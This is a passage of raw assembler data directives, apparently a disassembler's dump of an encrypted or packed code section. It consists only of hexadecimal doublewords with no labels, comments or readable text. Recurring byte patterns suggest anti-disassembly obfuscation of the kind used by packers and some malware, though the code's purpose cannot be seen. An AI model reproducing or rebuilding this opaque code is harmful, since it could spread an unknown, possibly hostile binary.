		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 667FC0C3h, 9C80EB81h, 0A66ABA66h, 83D7BF0Fh,	1E1D79BDh
		dd 9750006h, 2B25BD83h,	7400061Eh, 8B535019h, 3FCB8C0h
		dd 85890000h, 61E0CE9h,	0AC3A9D8Dh, 0D3FF0620h,	0BD83585Bh
		dd 61E2B25h, 50177400h,	3FCB853h, 85890000h, 61E0CE9h
		dd 0A9299D8Dh, 0D3FF0620h, 6A585Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 2865B9C3h
		dd 0DE94A3Eh, 3000000h,	0BB96AD83h, 0B8182578h,	0B9943CF3h
		dd 6AE5B7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 2AF1A5C3h, 0FB232469h, 38E0F5Ch, 66000000h
		dd 0C08BD68Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	52C35646h, 245ABF22h, 0DF86F39Ah, 5BC38102h, 66377D5Fh
		dd 8352FABBh, 1E272DBDh, 840F0106h, 4Bh, 0B96078B6h, 5D014DDh
		dd 6152D580h, 1F49BD83h, 0F00061Eh, 3285h, 51BD8300h, 61E33h
		dd 0AC840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 859F2EC3h, 6681F10Ah, 0E958A2BAh, 3C8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 42C35343h, 469CB89Bh
		dd 6120C96Bh, 0E9148ABBh, 98B302h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 355FC351h, 0E6AB166Bh, 0D0D28166h, 0A2DB814Eh, 6A0DE0B5h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0CF93C357h, 0B8B21D4Fh, 8076FB2Dh, 0EF605EC7h
		dd 5CD55602h, 11E67AA0h, 1BD6444Bh, 5AB4C7E7h, 5A6C2993h
		dd 797C1C6h, 36529C05h,	1E6CC5E2h, 5AE3C5E2h, 0F3EC1C6h
		dd 0A5BFF705h, 0FDEAB16h, 5A6FC22Eh, 99EAE1C6h,	7EB7489Bh
		dd 7EA940C2h, 5AF6DAC2h, 992E84C6h, 765DE51Eh, 0AE6DB693h
		dd 5A682896h, 0DE0CC1C6h, 0FD6F8F86h, 0D18B9B60h, 5EAC2819h
		dd 5A11C1C6h, 5ABE2990h, 4FEC1C6h, 2EE69F05h, 1E36C5E2h
		dd 5ACFC5E2h, 0CABC1C6h, 521E0D05h, 0F37BC1C6h,	3BE43682h
		dd 0B3AA2F68h, 5A6FC1C9h, 830F0F89h, 3DE1AC28h,	71CBC032h
		dd 1176E86h, 5A7B2993h,	0DBE0C1C6h, 79490B2Bh, 3CB84AC0h
		dd 0FE2F3247h, 0D10D4AA0h, 5AE52806h, 945EC1C6h, 0FAAC18C5h
		dd 0A2D2CB7h, 5ADEC82Fh, 542F85C6h, 90C4159Bh, 0B34BD3E3h
		dd 5AEDC1C8h, 0F6EB5876h, 35CF3795h, 21555FFBh,	5BD13C3Bh
		dd 3091E58Ah, 595F93C6h, 7ADBC1C6h, 0D3B7029Ch,	0DBF2E592h
		dd 477FE582h, 18BDC1C6h, 0AFBC0294h, 39ECB88Ch,	1F24A327h
		dd 3C83184Dh, 56E8194Dh, 0ECF6C1C4h, 0B3734AC6h, 5ABDC1C8h
		dd 0AAC62C5Bh, 0EBDC63AFh, 0A534F4A1h, 0D1BD5B6Bh, 5D043D8Eh
		dd 70F6C1C6h, 4385221Ah, 5B057DF7h, 30DEC1C6h, 598791C6h
		dd 7AB7C1C6h, 0D383029Eh, 0DBE9E582h, 4EF2E582h, 1A7BC1C6h
		dd 55560296h, 5ADED044h, 5A6729C6h, 9A04C1C6h, 58740A6Fh
		dd 0D18B13C1h, 0D1909B1Eh, 84F0501Eh, 5AB02996h, 0E2D9C1C6h
		dd 312BAC6Eh, 47F35EA1h, 0D1D88F6Fh, 557C9B10h,	5AF6C64Ch
		dd 5BF7CEC6h, 0AFBDC1C6h, 30074DA0h, 598792C6h,	7AB7C1C6h
		dd 0D380029Dh, 0DBE9E59Ah, 40F2E582h, 197BC1C6h, 76970295h
		dd 0F2637621h, 8684407Eh, 0AC8FAF00h, 0DFD4C507h, 5AEDC11Eh
		dd 0B2A7C1ACh, 5A7BC1C5h, 37E98E6h, 5EFA8D4Fh, 5E4B8547h
		dd 5AB7C1DDh, 0E8189087h, 204C33E2h, 55AA7D7Ch,	5A7BC348h
		dd 0A67173C6h, 985FA79Fh, 63EFF458h, 5032CEAEh,	30DBC1C7h
		dd 590596C6h, 7AF6C1C6h, 0D3240299h, 0DBB9E5BAh, 42DAE582h
		dd 1D6FC1C6h, 47A30291h, 0D1F6957Fh, 896DC0BFh,	5A094093h
		dd 55FBC1C6h, 5ABD1944h, 5AD228C6h, 0A95AC1C6h,	0CCD12C6Dh
		dd 0A90E4848h, 0DF2AD80Dh, 5CD55701h, 5A7BC1C7h, 5ABD162Fh
		dd 0FDEABC6h, 5A6FC22Eh, 99EAE1C6h, 7EB7489Bh, 7EA940C2h
		dd 5AF6DAC2h, 992E84C6h, 5C4C884Bh, 3C36C249h, 93D8CEA6h
		dd 5AB7C72Fh, 95F042C6h, 3B023B31h, 5AF6412Fh, 5A7329C6h
		dd 9671C1C6h, 0AA027A1h, 0DB093357h, 6A2A24h, 8609409Fh
		dd 3CB95126h, 0A5FDB845h, 5A2045C9h, 5AD7C1C6h,	5ADD2993h
		dd 74FC1C6h, 363E9C05h,	1E5AC5E2h, 5AF1C5E2h, 0FB3C1C6h
		dd 0EA882D05h, 7F3A9CD5h, 0E1B81BCBh, 3A38DF14h, 3B5E0A46h
		dd 9D5E069Ch, 5BEBE250h, 30F6C1C6h, 599390C6h, 7ABDC1C6h
		dd 0D387029Fh, 0DB6BE58Ah, 4FB3E582h, 1BDBC1C6h, 0C89C0297h
		dd 0EC284AA0h, 0B22A89E3h, 5ABDC1D6h, 0D7579746h, 9079F9E1h
		dd 0B3D69B2Ch, 70A791F5h, 5AED4FC9h, 1ACC1C6h, 0B0612C7Fh
		dd 75384C87h, 0D7D8E25Ah, 79F5417Bh, 2E4FFAC0h,	8BD4F1C1h
		dd 0AF06860Fh, 9077A733h, 82F063AFh, 7D907C45h,	55DFC7D8h
		dd 5A6F8D42h, 7A7541C6h, 45927C45h, 55EDC7D8h, 5AF6FD43h
		dd 97BABC6h, 5ABDC22Eh,	9985E1C6h, 7E33489Dh, 7EF340C2h
		dd 5ADBDDC2h, 99BE82C6h, 0E18BCAB3h, 0AA1CC75Fh, 5E07A728h
		dd 3C8C7236h, 0E7EC124Dh, 5CA9F297h, 415FCEC6h,	0D0EDC1C6h
		dd 5A0C2832h, 5193C1C6h, 79BDC1C6h, 0A33FA91Bh,	0EFD7ABDFh
		dd 0EDB82E66h, 0E7589A1Fh, 5CF3E6EBh, 0D673CEC7h, 307BC1C6h
		dd 595592C6h, 7ADEC1C6h, 0D334029Dh, 0DBB3E59Ah, 4FDFE582h
		dd 19EDC1C6h, 20F80295h, 5A774BC9h, 5D54C1C6h, 25DEC1C6h
		dd 45ED4813h, 30EA2A3Eh, 593396C6h, 7AEDC1C6h, 0D3A90299h
		dd 0DB7FE5BAh, 4FB9E582h, 1DDEC1C6h, 0EC2E0291h, 8CE06A7Dh
		dd 55BB029Ah, 5AEDC34Ah, 0B2AE91C6h, 5A7BC1D7h,	9E426532h
		dd 0F8875E9h, 27E41FDFh, 528A9FDh, 0FF104051h, 5B39805h
		dd 5AAC28A7h, 0DB1BC1C6h, 538D6E36h, 9D5FA7EAh,	70E6055h
		dd 0B2E4C1ACh, 5ADBC1C5h, 12E9AE6h, 5ED29D4Fh, 5E5F8547h
		dd 5ABDC1DEh, 681D9285h, 96152A05h, 5AB145C9h, 805AC1C6h
		dd 52437D46h, 9F6AB09h,	5A7BC22Eh, 99E6E1C6h, 7E82489Dh
		dd 7E2B40C2h, 5AB7D4C2h, 998882C6h, 0DD5B38A8h,	0CDE87C4Bh
		dd 0D7F6C7E5h, 5C9E5A3Ah, 6082DC7Eh, 0CBEAF2BDh, 71B1DFD0h
		dd 2C7F0009h, 4C87B061h, 0E25A7538h, 417BD7D8h,	0FAC079F5h
		dd 0F1C12E4Fh, 860F8BD4h, 0F305E983h, 0C7BD83A4h, 62396h
		dd 8D8D0D74h, 61E4CB8h,	1B8h, 40E1FF00h, 88E0Fh, 8B0F0000h
		dd 2, 0E883F08Ah, 52006A2Dh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 402B2601h, 0FAF6E1AFh
		dd 0D820F18h, 0E9000000h, 8, 14A29061h,	6FA97C25h, 6AC08Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 20E86DC3h, 80AAE956h, 0C280F08Ah, 79BD830Dh,	61E1Dh
		dd 0BD830975h, 61E2B25h, 50197400h, 0B8C08B53h,	3FCh, 0D198589h
		dd 9D8D061Eh, 620ACA1h,	585BD3FFh, 2B25BD83h, 7400061Eh
		dd 0B8535017h, 3FCh, 0D198589h,	9D8D061Eh, 620A942h, 585BD3FFh
		dd 38E0Fh, 8B660000h, 52006AD3h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 4A32DD5Dh, 0C08BF2B2h
		dd 15CE9h, 5E18D300h, 464CB5F2h, 545F8B94h, 5F512608h
		dd 5C517651h, 575FD408h, 7C763C51h, 2E235F38h, 0E22CB51h
		dd 0BA7E0DC6h, 69B1A762h, 18139A50h, 18121951h,	18139851h
		dd 18134851h, 18132651h, 18131351h, 1813A651h, 1813C451h
		dd 18136A51h, 18133151h, 6B6ACB51h, 187E2925h, 77617671h
		dd 6B607632h, 1813890Ch, 1813C451h, 18136251h, 18133151h
		dd 18139851h, 18134C51h, 18132651h, 18131351h, 18138951h
		dd 1813C451h, 18136251h, 18133151h, 18139851h, 18134C51h
		dd 18132651h, 18131351h, 18138951h, 1813C451h, 18136251h
		dd 18133151h, 18139851h, 18134C51h, 18132651h, 18131351h
		dd 18138951h, 1813C451h, 18136251h, 18133151h, 18139851h
		dd 18134C51h, 18132651h, 18131351h, 18138951h, 1813C451h
		dd 18136251h, 18133151h, 18139851h, 18134C51h, 18132651h
		dd 18131351h, 18138951h, 1813C451h, 18136251h, 18133151h
		dd 18139851h, 18134C51h, 18132651h, 18131351h, 18138951h
		dd 1813C451h, 18136251h, 18133151h, 18139851h, 18134C51h
		dd 18132651h, 18131351h, 18138951h, 1813C451h, 18136251h
		dd 18133151h, 18139851h, 0DD870851h
		dd 167FE956h, 74680000h, 0E90623A0h, 0FFFBA5F0h, 23A17168h
		dd 0A5E6E906h, 6C68FFFBh, 0E90623A2h, 0FFFBA5DCh, 23A33168h
		dd 0A5D2E906h, 468FFFBh, 0E90623A5h, 0FFFBA5C8h, 23A64068h
		dd 0A5BEE906h, 3268FFFBh, 0E90623A7h, 0FFFBA5B4h, 23A7D068h
		dd 0A5AAE906h, 2568FFFBh, 0E90623AAh, 0FFFBA5A0h, 23AB0668h
		dd 0A596E906h, 0CF68FFFBh, 0E90623ABh, 0FFFBA58Ch, 23AC5E68h
		dd 0A582E906h, 9968FFFBh, 0E90623ADh, 0FFFBA578h, 23B28868h
		dd 0A56EE906h, 6168FFFBh, 0E90623B3h, 0FFFBA564h, 0F848C5A7h
		dd 0FC4CB1A7h, 0FE4EABABh, 353ACADh, 454A3B2h, 0C98CC53Dh
		dd 0DE8DDE2Eh, 0C790E131h, 0D793E434h, 4BC8EA3Ah, 0AE64279Ah
		dd 2A976F1Ah, 0EE7D54F3h, 5883BF21h, 1C8DFBE5h,	673E6F2Dh
		dd 6FA40603h, 0ACBE0EFBh, 14B3CC7Ch, 0BEADDC0Fh, 6372BB0h
		dd 93939755h, 95F7B51Ah, 93691F86h, 757A151Ah, 294C2A82h
		dd 60699AB9h, 44F4ED7Ah, 6DE6E7E3h, 99000000h, 9D4F1CF3h
		dd 0A4C15FDFh, 57B9115Fh, 0A652EA1Bh, 14A85972h, 5C1A93E9h
		dd 2C45B2A5h, 939F007Bh, 3A92501Ah, 9F52C9D8h, 41161A93h
		dd 381F54B6h, 3E2C61C3h, 0B7336FD1h, 85364E34h,	1A939F1Ah
		dd 35449C5Ah, 353A4A30h, 4DB96B5h, 708CBDCFh, 0E7E29D77h
		dd 0D639CDD2h, 0E544FC87h, 0BFACB4h, 0AAAF0000h, 0D88205BEh
		dd 0A796C7A7h, 8D3BAFBBh, 598FCF1Fh, 295EC018h,	7087D22Ch
		dd 187AD20Eh, 288A87E3h, 4A9A77F3h, 8DBC731Fh, 40C9A11Ch
		dd 3ECB9FF0h, 0FB0B4E25h, 16479F5Ch, 31C0382Eh,	5CC44882h
		dd 75F64766h, 0A4FC389Ah, 0DF8ADA8Bh, 0CCA1A93h, 97EAABCh
		dd 93CEE558h, 176F2D1Ah, 0CB3027FEh, 5DFC2D69h,	0B3620FACh
		dd 748D4B1Ch, 9F58FED5h, 39BE976Eh, 3ABD98E9h, 52834B7Fh
		dd 0C816DE6Fh, 13BBh, 98E82547h, 9CEC1147h, 9EEE0B4Bh
		dd 0A3F30C4Dh, 0A4F40352h, 292C65DDh, 3E2D7ECEh, 273081D1h
		dd 373384D4h, 0EB688ADAh, 0AE5BC73Ah, 0CA370F1Ah, 0D5D9ABBh
		dd 1161AEBCh, 1A0EFAA8h, 0D0CC5001h, 46041A93h,	0D06ED5E4h
		dd 5F641A93h, 29F5EE7Bh, 0EFE7E7E3h, 9A000000h,	62AFBBh
		dd 0B6D8ACBh, 8DFF4EFCh, 78DFB61Ch, 0B4E52183h,	0CD8B8DDDh
		dd 0BE99CE30h, 439BD739h, 0F77DB5C4h, 56AEADB5h, 5CB5B506h
		dd 14EA6C43h, 0FD5FB744h, 0B2A890C1h, 0E2B9D246h, 0E01C7E89h
		dd 115F10AFh, 4F1A9393h, 0F92F4191h, 3785364Fh,	351CB322h
		dd 0C38AC150h, 67F2299Ah, 0C7E03890h, 0D39866F0h, 429AD638h
		dd 0AD287DE0h, 0E15316F6h, 5CBF7089h, 9410B225h, 2F06A5D6h
		dd 0E1B8D126h, 0E5218374h, 0EEC5DEB4h, 0CA7B946Bh, 10B22557h
		dd 0D9B0E19Fh, 20D7827Ch, 80C70DC8h, 7E466F53h,	12BE30h
		dd 0E5224A00h, 0E7144495h, 0E7104697h, 0EC134697h, 0ED0A4B9Ch
		dd 255ED69Dh, 2677C730h, 297ACA45h, 2879C92Eh, 5375C542h
		dd 5ABA25D6h, 22FA1AAEh, 5D9ABBB5h, 0A0AEBC0Dh,	8DFB8CEFh
		dd 0ED06C41Ch, 8DFBC13Ch, 0FB53111Ch, 1CF342ABh, 0BA91C23Dh
		dd 0C0F557B0h, 70EB9CAAh, 0C01C8DFBh, 415AAA02h, 0FB8EF1A2h
		dd 0E1C61C8Dh, 2020489Eh, 9AB30B14h, 8D8876E9h,	0CF00BE1Ch
		dd 37995EF8h, 0DF3633Ah, 0F4BAD4Ah, 0E81955B7h,	97B05911h
		dd 2F83E92h, 44758D8Ah,	7110BF6Eh, 57F66A87h, 0C31B83AAh
		dd 0C9056794h, 4F001971h, 1A93D6A9h, 0D42730E7h, 0A51BCA7Ch
		dd 0A6ED19E7h, 0FCADC672h, 0E73B8FE0h, 5C9DB970h, 0C3E6EB04h
		dd 382FCD20h, 897F6798h, 0DF90A99Fh, 196A25A9h,	391029E7h
		dd 7E8BDF31h, 3888E01Ch, 0E4661A1Fh, 27E5181Ah,	0BE4B1FF6h
		dd 0FC12DB03h, 206E366Ch, 11C3h, 0A0F01D4Fh, 0A4F4094Fh
		dd 0A6F60353h, 0ABFB0455h, 0ACFCFB5Ah, 21346DE5h, 363586D6h
		dd 1F3889D9h, 2F3B8CDCh, 0F37092E2h, 0AE59DF42h, 0D23F171Ah
		dd 62AFBBh, 112A1E0Ah, 93F92860h, 5AAA681Ah, 46A86109h
		dd 5770D850h, 0B06402A6h, 0D8E9EE1Ch, 60CDE46h,	883F8ABBh
		dd 7FD728E3h, 84DC187Ah, 60F5CC6Bh, 0E7104697h,	7E8BDFB6h
		dd 848DDD2Eh, 4CFC2C22h, 0FB5C33h, 0AEF699Eh, 0E3146CA8h
		dd 61319344h, 914F16EFh, 5702D978h, 0D7023EA0h,	0EE95F64h
		dd 0BC9DEEACh, 74A5E143h, 0A36CFED5h, 9F680253h, 233B403Dh
		dd 0F5E55DEDh, 0EF19B1E2h, 0C96F2039h, 8708F73Fh, 8DDA0EC9h
		dd 6B337B96h, 10FE1Dh, 25E28A00h, 27D484D5h, 27D086D7h
		dd 2CD386D7h, 2DCA8BDCh, 659E16DDh, 66B707F0h, 69BA0A05h
		dd 68B909EEh, 93B50502h, 58FA6516h, 623A1AAEh, 5D9ABBF5h
		dd 1B0DFB0Dh, 0CD2A2B02h, 0D81F366Bh, 3FD30180h, 7D54A895h
		dd 14FCAD4Ch, 441A93D4h, 9FDFFD5Fh, 0CFD38AD1h,	0B579F8FFh
		dd 0FE33B2C3h, 1391A0DCh, 724962BAh, 0F5DD0EF9h, 445DAAC0h
		dd 0AD0FE86Dh, 6177F271h, 5B8B6219h, 6703542Ah,	75C538E9h
		dd 560D1A93h, 5793F502h, 4845A7FFh, 342C4A43h, 0C847387Ch
		dd 84553B03h, 68003175h, 34C98FB0h, 1612C3DCh, 2E1C8DA8h
		dd 240D0E70h, 937CEE3Eh, 51C73143h, 96138h, 9231629Eh
		dd 0C03B1CF3h, 81F6DE8Fh, 33D216AFh, 0D7781F82h, 27D8570Eh
		dd 0ED778B4h, 0B5E63EFCh, 154AAC6Ah, 0E95ABC55h, 7F1FAE0h
		dd 4147F811h, 8F08C96Eh, 3A3081D1h, 696E6BCDh, 0BAB1303Dh
		dd 30AFEB4Dh, 0D627ABBCh, 0D7137582h, 0DE8EF5A6h, 941704F5h
		dd 30C5EAEh, 137CE5EAh,	0F56F8A42h, 194AB5A4h, 8F78F243h
		dd 57C1372Dh, 929B8D3Eh, 22D902EBh, 1868C037h, 0C038DD69h
		dd 9BA03F58h, 11596911h, 859479F8h, 0B3EA1291h,	0CBC19CAEh
		dd 0AD37E99Ah, 0BF7D0438h, 191D380Dh, 3793F568h, 4FA8B138h
		dd 1274CC8Ah, 37939C03h, 0A5B18838h, 9D8B2354h,	5FE192ABh
		dd 953E140Eh, 20828DDEh, 0FE0F7223h, 89473653h,	0E9C0D931h
		dd 0ED298B6Ch, 0A77E1DBCh, 3F1647C4h, 0EEC5DE2Bh, 0F632946Bh
		dd 0CC9EEFC5h, 0FD6ED182h, 0E8A63653h, 27D87790h, 3653FDB4h
		dd 0B214E770h, 0C2F3B176h, 97D8DDDAh, 0A46029C8h, 0B40C0764h
		dd 4EA9AC83h, 0F24E5F93h, 0DC2AF28Dh, 0F2Bh, 858B5B7h
		dd 0C5CA1B7h, 0E5E9BBBh, 13639CBDh, 146493C2h, 0B99CD54Dh
		dd 0CE9DEE3Eh, 0B7A0F141h, 0C7A3F444h, 5BD8FA4Ah, 0AE5E37AAh
		dd 3AA77F1Ah, 0D5D9ABBh, 0FF61AEBCh, 0FC6EA0CAh, 0F959BB13h
		dd 2D9041E0h, 651C8DFBh, 756D76A7h, 75E33535h, 69590988h
		dd 0DBD2F21Fh, 151A3383h, 0AA372949h, 0C6E21393h, 0EE00DFCDh
		dd 169BFh, 0AFBB7200h, 8A09EE69h, 0A3CC2914h, 8AEC447Eh
		dd 37D51555h, 82C659B5h, 4EA65106h, 41A35CFDh, 4B5DAD05h
		dd 7B526BDDh, 50EF20DDh, 93E8419Fh, 0A51AFF1Ah,	464E5BA2h
		dd 0AEBD1F77h, 1A93B037h, 41A370FBh, 4BAD4A0Ch,	2A79614Ah
		dd 267B801Bh, 6593F829h, 0BD3A1B6Ch, 0E5EE1F5Bh, 0ED6F68FDh
		dd 2C61E7E2h, 14000000h, 11A0EFAh, 93D0CC50h, 0E446041Ah
		dd 93D06ED5h, 0C037221Ah, 0C730295Eh, 0E9D1B665h, 9C868B9Ah
		dd 0E32A0E07h, 7E00E7h,	0BBB30000h, 0CB0062AFh,	0D60B6D8Ah
		dd 1C197B94h, 0B6E71045h, 2E7E8BDFh, 8DFF5703h,	2CE5851Ch
		dd 0EA5ECADCh, 571E20D1h, 94521AADh, 46B1A47Bh,	47B0A5F6h
		dd 3450708Ch, 87D59D69h, 0DEFh,	0D424F17Bh, 0D828D583h
		dd 0DA2ACF87h, 0D727D089h, 0D828CF86h, 0F5609911h, 0A61B202h
		dd 0FB5CADFDh, 0B5FB000h, 0F8CAEFEh, 0AE5DE35Eh, 0EE5B331Ah
		dd 0C23D1CF3h, 1CF32460h
		dd 1D6EBE39h, 0B74C44Dh, 4962AFBBh, 0FB86F9AAh,	16421C8Dh
		dd 7E437FE1h, 12E76FC0h, 5B4374B0h, 7BCB4426h, 65C7402Ah
		dd 1DCEB96Fh, 1C8DFBA2h, 75E334F2h, 66173088h, 1A93D92Ah
		dd 0F493AC6Ah, 93D9D843h, 295A181Ah, 763E953h, 0E7EC0000h
		dd 0A384B032h, 6EFE6DDBh, 34F94BC0h, 30CD8BDCh,	1CF310FFh
		dd 493EBD3Ah, 6C941796h, 0B0A57CADh, 6FD6E547h,	5B1C8D9Ah
		dd 0FB2CE784h, 0CF8AB563h, 18C9C628h, 1C8D9AA5h, 7FD72FEDh
		dd 763B566h, 360D1AAEh,	5BA6D720h, 0BDAD849Dh, 0E6EB0454h
		dd 2E8DAB03h, 0FE6176Bh, 174CAE5Bh, 8FEB93Eh, 25693700h
		dd 0CFD0F5Dh, 0E3890000h, 0D385D626h, 0D185D626h, 0D287D828h
		dd 0D184D525h, 970FD626h, 0B000F75Eh, 0AFFF0C5Fh, 0AEFEF95Eh
		dd 0B4040D5Dh, 0F9641592h, 391AAE5Ch, 9ABBF461h, 0AEBC0D5Dh
		dd 0A0CAFF61h, 22A50567h, 8D7AF038h, 54AEA73Dh,	0DA0EE01h
		dd 53000000h, 8DF140E1h, 0E783ED1Ch, 36FFFFFDh,	8DFB7AE1h
		dd 94BB6D1Ch, 9ED335C2h, 92EA42CDh, 6664C879h, 13181AAEh
		dd 0AC1F7DFh, 0F7427316h, 41B6A178h, 0AE89AB16h, 0D52DEB1Ah
		dd 8C85E5BCh, 927FEB3Ch, 9D5AFB30h, 37152EE2h, 0D11FE769h
		dd 0C5Fh, 449481EBh, 489865F3h,	4A9A5FF7h, 479760F9h, 48985FF6h
		dd 85D00981h, 9AD12272h, 8BCC1D6Dh, 9BCF2070h, 7FFC1E6Eh
		dd 0AE5C53CEh, 5ECBA31Ah, 62AFBBh, 0B19FCBh, 1C8DFB9Dh
		dd 5DBF17D5h, 67C92E28h, 0A368D904h, 0D5E4D75h,	5C51B34Ch
		dd 9C186F53h, 1C212119h, 4C5E0AA2h, 24D3825Ah, 0A6C49BCCh
		dd 8A831969h, 7CEE00FEh, 24h, 0F140E12Fh, 7B2C1C8Dh, 1C8DF100h
		dd 0EAAD2696h, 5B20AEA7h, 68D3849Dh, 0A81C8D49h, 0F2892EAh
		dd 0DBFFFFFDh, 11A0EFAh, 32DF8B62h, 0DCC45001h,	3EFC1A93h
		dd 0F31C4E25h, 3C245591h, 0AED683Fh, 0A2536CA8h, 1A93DC3Fh
		dd 0D788B977h, 1A93DC61h, 0ED7A6065h, 0E7E331F4h, 1D9E6h
		dd 4AE19900h, 0F71C8DFBh, 0C88E6580h, 6091CD2Fh, 0F28E189h
		dd 0A7D83338h, 0F6EA80D1h, 0A90C8D44h, 0E0429A1Eh, 0B45F0CE3h
		dd 34E51652h, 1C8D12A5h, 2E7E644Dh, 0E3BAD33Ch,	0E7238572h
		dd 5BCEE0B6h, 389A65F4h, 0CF32E3FCh, 71C8D12h, 928FF149h
		dd 12DF42F3h, 59171C8Dh, 0F0195128h, 0F51B4FA0h, 3EB99E60h
		dd 0F048A0DCh, 12687F8Eh, 999E1C8Dh, 5102A1A1h,	1C8D11EEh
		dd 1B376826h, 0EE006F22h, 26D1787Dh, 521D8883h,	0A625D19Ah
		dd 0D1507D67h, 69E5F4A3h, 454D7E1Eh, 13Eh, 62AFBBF8h, 0B19FCB00h
		dd 8DFB9D00h, 0C617D51Ch, 0C010688Fh, 0E45708A7h, 2C1C8DFBh
		dd 0FB81FCADh, 13D11C8Dh, 6F28ABBh, 0A848F912h,	0A81A93E6h
		dd 2F9166F1h, 2A399BF3h, 1A93E6B3h, 0B6CEB4B9h,	0E28876DFh
		dd 2F87C325h, 446091CDh, 0E7E33C4Bh, 3C3Dh, 0EFAF000h
		dd 0CC50011Ah, 41A93D0h, 6ED5E446h, 641A93D0h, 0D363F2C9h
		dd 93D0BF22h, 0E139F71Ah, 36B3A7B0h, 0E7E32A3Dh, 0E3B9398h
		dd 5AD92633h, 0A2B4FC12h, 0C4CCFD55h, 0A0h, 3A1CF377h
		dd 0EE1F5BBDh, 54B65317h, 5FC1361Fh, 3AE08B62h,	3D79DB1Ch
		dd 164783E5h, 7CDE2B3Fh, 96E62347h, 8DE3A76Bh, 0C05651Ch
		dd 5304A3BCh, 1C8DE3E8h, 0A1396A28h, 0F7A8C177h, 1AAD4A27h
		dd 7B526B29h, 7CCD1DDAh, 4E20F7D9h, 964FA9F2h, 0DC97833Eh
		dd 0C28A6933h, 0A0A74h,	39D69600h, 3BC098E9h, 3BBC9AEBh
		dd 38BF9AEBh, 39BE97E8h, 71AA22E9h, 72C313E4h, 6DBE0EF9h
		dd 6CBD0DEAh, 9FC111FEh, 510E7122h, 6E461AAEh, 3B1CF301h
		dd 9DB88FC0h, 0EB6A415Ah, 0B405DB0Ch, 0A00959B6h, 62AFBBh
		dd 22729FCBh, 3B4B8h, 0EEF36B00h, 0A2F8DDA8h, 376C9DC7h
		dd 0F7393EECh, 47E3C911h, 0E513ABDCh, 0AA5EC172h, 0D8961C8Dh
		dd 9B66780h, 491AAE37h,	0DA32C592h, 0B2669228h,	3C10E899h
		dd 350C1CB0h, 3A76D821h, 9E00BE09h, 0CFEC288Fh,	807BDC10h
		dd 8B6CE91Eh, 0CBAFB829h, 72686D7Ch, 0BF41FCF5h, 7B857E1h
		dd 10CFE494h, 0E5ED1EDCh, 31Fh,	0FB7AE198h, 0E2541C8Dh
		dd 0D11C8DFBh, 27D8F127h, 1A93FFB1h, 0F30F48FFh, 0DE409865h
		dd 958F4AA2h, 286931A7h, 9291260h, 0B7B50000h, 9FB90A5Ah
		dd 9DB90A5Ah, 9EBB0C5Ch, 95C01161h, 0D34B1262h,	0EC3CBB9Ah
		dd 0F343D09Bh, 0F242B5A2h, 0F040C9A1h, 3DA051CEh, 751AAE50h
		dd 0AFBB309Dh, 1E0A0062h, 0B060112Ah, 9C1AAE66h, 0E373A5C5h
		dd 2078B416h, 350382BEh, 0F828F72Eh, 0D795E011h, 95837587h
		dd 9719CB7Ch, 0A0571C8Dh, 0A6E244B7h, 0D5E354Eh, 3887B202h
		dd 0EB10CA74h, 865A103Fh, 3ADEDB12h, 0DD358DF2h, 0E42F3C8Dh
		dd 0A8AE8582h, 80B1ED4Fh, 2F48C1A9h, 6D7CDF90h,	0F6B410CAh
		dd 31E7DDC5h, 0B04FEE07h, 0CA6D9CFFh, 0C516D410h, 85366790h
		dd 16D46323h, 27D2ECDh,	520EE85Eh, 0ABFB46Dh, 69C138A6h
		dd 742FED38h, 757996BAh, 60418F57h, 0EC000008h,	0F2439380h
		dd 2 dup(0F0419166h), 0ED3E8E69h, 783F8F68h, 698EC700h
		dd 68A3C819h, 6B90C718h, 67A0CA1Bh, 0C778F517h,	1AAE5054h
		dd 0FA57C49Ch, 50011A0Eh, 1AAE66A4h, 51A6B188h,	3782B3EFh
		dd 0E2896079h, 0E784D525h, 190E132Ch, 4B0DE7F7h, 0A79D85B6h
		dd 0A9AEC771h, 5660FD5Eh, 0B1508108h, 8D67D000h, 0F4653C1Ch
		dd 3C6DA90Bh, 5EC172F1h, 9610CB65h, 281E80D8h, 7E2F48F0h
		dd 16D56166h, 0BB7D38F6h, 52757845h, 7D13C8Ah, 0F5D0000h
		dd 0F761B202h, 0F561B202h, 0F663B404h, 0ED68B909h, 7BF3BA0Ah
		dd 94E41342h, 9BEB2843h, 9AEA0D4Ah, 98E82149h, 0D548F976h
		dd 1D1AAE57h, 0AFBBD845h, 9FCB0062h, 7ADB1072h,	72E61B7Dh
		dd 0A9B22385h, 9D00B1B1h, 0D51C8DFBh, 2A43BF17h, 0FB67DA8Bh
		dd 0F1AF1C8Dh, 0DE40CBA0h, 726871A2h, 87D7303Ah, 158F8F1h
		dd 131EAEEh, 0BB9D0000h, 0CB0062AFh, 1022729Fh,	66173018h
		dd 1A93E686h, 50EF08C6h, 0B91BDC79h, 0E6EF527Dh, 69271A93h
		dd 0DA415038h, 0D01A93E6h, 5952D7CBh, 4BE7E33Ch, 56h, 0A354F3FEh
		dd 1C8DFB38h, 0F189BA78h, 0BB401807h, 7994A63h,	0F91A93D0h
		dd 640898F4h, 4879E94Eh, 0CEDD3FFDh, 1A935F57h,	7223C25Dh
		dd 1A935F0Fh, 0A417C847h, 0EC1A935Eh, 9CA5D62Eh, 8FC79EA6h
		dd 9BCC086Ah, 0E2B0867Fh, 8E78E7h, 0A47B0000h, 0AAE648B3h
		dd 0AFBB8A79h, 8ACB0062h, 94D60B6Dh, 0CE1FE882h, 0D410729Dh
		dd 85E51A7Ch, 91113C8Ch, 231C8DE7h, 687ACA47h, 0BE6F88B0h
